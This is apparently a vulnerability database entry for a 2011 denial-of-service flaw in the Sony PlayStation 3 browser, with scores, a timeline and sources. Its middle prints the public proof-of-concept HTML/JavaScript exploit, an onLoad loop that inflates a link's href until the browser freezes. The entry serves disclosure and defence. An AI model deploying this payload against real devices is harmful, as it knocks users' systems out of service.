Sony Playstation 3 Browser Freeze denial of service

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A vulnerability was found in Sony Playstation 3 (Game Console) (version now known). It has been classified as problematic. Affected is some unknown processing of the component Browser. The manipulation with an unknown input leads to a denial of service vulnerability (Freeze). CWE is classifying the issue as CWE-404. The product does not release or incorrectly releases a resource before it is made available for re-use. This is going to have an impact on availability.

The weakness was disclosed 06/18/2011 as VL-ID 187 as not defined advisory (Website). The advisory is available at vulnerability-lab.com. It is possible to launch the attack remotely. The exploitation doesn't require any form of authentication. Technical details are unknown but a public exploit is available. This vulnerability is assigned to T1499 by the MITRE ATT&CK project.

A public exploit has been developed in HTML/Javascript and been published immediately after the advisory. The exploit is shared for download at vulnerability-lab.com. It is declared as proof-of-concept. The code used by the exploit is:

<head><script language="JavaScript" type="Text/Javascript">  
function x(y)
{
   for(var i=0;i<1000000;i++)
   {
      var u=document.body.getElementsByTagName("a")[0];
      u.href=u.href+y;
   }
}
</script></head>
<body onLoad="x(document.body.innerHTML)";><a href="x" />x</a>

Upgrading eliminates this vulnerability.

Productinfo

Type

Game Console

Vendor

Sony

Name

Playstation 3

License

commercial

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VulDB Meta Base Score: 5.3
VulDB Meta Temp Score: 4.6

VulDB Base Score: 5.3
VulDB Temp Score: 4.6
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Exploitinginfo

Name: Freeze
Class: Denial of service / Freeze
CWE: CWE-404
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Local: No
Remote: Yes

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Access: Public
Status: Proof-of-Concept
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Countermeasuresinfo

Recommended: Upgrade
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Timelineinfo

06/18/2011 🔍
06/18/2011 +0 days 🔍
09/12/2016 +1913 days 🔍
04/29/2019 +959 days 🔍

Sourcesinfo

Advisory: VL-ID 187
Status: Not defined
scip Labs: https://www.scip.ch/en/?labs.20161013

Entryinfo

Created: 09/12/2016 10:20
Updated: 04/29/2019 14:41
Changes: 09/12/2016 10:20 (44), 04/29/2019 14:41 (2)
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